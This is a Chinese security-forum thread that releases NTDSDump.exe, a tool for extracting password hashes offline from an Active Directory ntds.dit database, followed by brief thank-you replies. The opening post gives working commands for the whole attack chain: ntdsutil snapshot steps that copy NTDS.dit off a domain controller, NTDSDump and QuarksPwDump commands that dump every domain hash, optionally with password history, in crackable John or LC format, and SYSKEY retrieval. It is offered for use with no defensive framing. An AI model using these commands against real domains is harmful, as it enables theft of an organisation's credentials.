请选择 进入手机版 | 继续访问电脑版
查看: 1613|回复: 31

[工具专区] NTDS.dit密码快速提取工具

[复制链接]
  • TA的每日心情
    擦汗
    2017-4-1 15:01
  • 签到天数: 138 天

    [LV.7]常住居民III

    发表于 2016-2-20 22:20:27 来自手机 | 显示全部楼层 |阅读模式

    NTDSDump相关
    受不了NTDSXTract的龟速,于是用quarkspwdump改了个能读取system.hiv的离线版提取工具,顺便修复了个坑爹的BUG。
    ntds.dit其实就是个esent数据库,微软本身就有一系列的文档化api能够操作这个数据库,其链接是:https://msdn.microsoft.com/en-us/library/windows/desktop/gg294074.aspx。
    既然是windows api,那么效率自然不用提了:本地测试300M的ntds.dit,内含近万条HASH。
    用512M内存的ubuntu虚拟机跑了将近一个小时,而在相同配置的2003虚拟机上此工具仅用了5秒钟就处理完毕,相差可谓天上地下。windows的东西么,还是交给windows自己的好。
    附件内NTDSDump.exe是导出工具,其命令行如下:
    ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC]
    -f    ntds.dit路径
    -k   可选的十六进制格式的SYSKEY
    -s    可选的system.hiv路径
    -h   导出历史密码记录
    -t    导出格式,LC或JOHN
    -o   导出到指定文件中

    SYSKEY实际上就是HKLM\SYSTEM\CurrentControlSet\Control\Lsa下面几个子项的类型信息,可以用RegQueryInfoKey查询出来。
    附件里面提供了两个导出工具,getsyskey_c.exe由vc6编译,其源码为getsyskey.cpp,用vc6直接打开编译即可。
    getsyskey_cs.exe由.net2.0编译,源码为getsyskey.cs,用csc直接编译即可。
    已知错误:
            JetAttachDatabase() failed
    原因:数据库需要修复,执行esentutl /p /o ntds.dit进行修复。
    附一张真实数据的测试图:


    下载地址:
    下载点这里 ntdsdump
    另:改完之后又看了看quarkspwdump的github,发现有人提交了个pull request:https://github.com/quarkslab/quarkspwdump/pull/3
    其添加了一个加载system.hiv的功能,调用了RegLoadKey。而这个API必须要过UAC才行,所以用起来还是挺别扭的,不如这个直接读取文件进行处理来得痛快。
    安全脉搏姿势
    在2008+域控上使用 ntdsutil snapshot mount导出ntds.dit, SAM以及System ,
    ntdsutil
    snapshot
    activate instance ntds
    create
    mount {GUID}
    copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit
    unmount {GUID}
    quit
    quit
    然后就是各种copy了
    在域控上使用 QuarksPwDump.exe 导出绝大部分明文:
    QuarksPwDump.exe --dump-hash-domain --output SecPulseHash.txt --ntds-file c:\ntds.dit
    下载回本地再用QuarksPwDump似乎就不行,主要因为本地无法指定SYSTEM文件导致获取不到key
    附Quarks PWDump使用参数:
    quarks-pwdump.exe <options>
            Options :
            -dhl  --dump-hash-local
            -dhdc --dump-hash-domain-cached
            -dhd  --dump-hash-domain (NTDS_FILE must be specified)
            -db   --dump-bitlocker (NTDS_FILE must be specified)
            -nt   --ntds-file FILE
            -hist --with-history (optional)
            -t    --output-type JOHN/LC (optional, if no=>JOHN)
            -o    --output FILE (optional, if no=>stdout)
            Example: quarks-pwdump.exe --dump-hash-domain --with-history

    当然也可以把ntds.dit, SAM以及System下载回来(很多大内网 ntds就好几G,下载回来不太科学)用某工具解密 不过感觉有点庞大,现在我们可以使用NTDSDump.exe
    NTDSDump.exe -f ntds.dit -s SYSTEM -o SecPulseHash.txt

    评分

    参与人数 1i币 +1 收起 理由
    哈喽啊 + 1 感谢分享

    查看全部评分

    回复

    使用道具 举报

    该用户从未签到

    发表于 2016-2-20 23:53:45 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-21 13:01:10 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-21 16:28:30 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-22 03:56:31 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-22 10:43:56 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2019-4-14 17:44
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2016-2-22 21:33:49 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-2-12 22:05
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2016-2-23 06:47:28 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-23 09:40:00 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-24 05:18:02 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表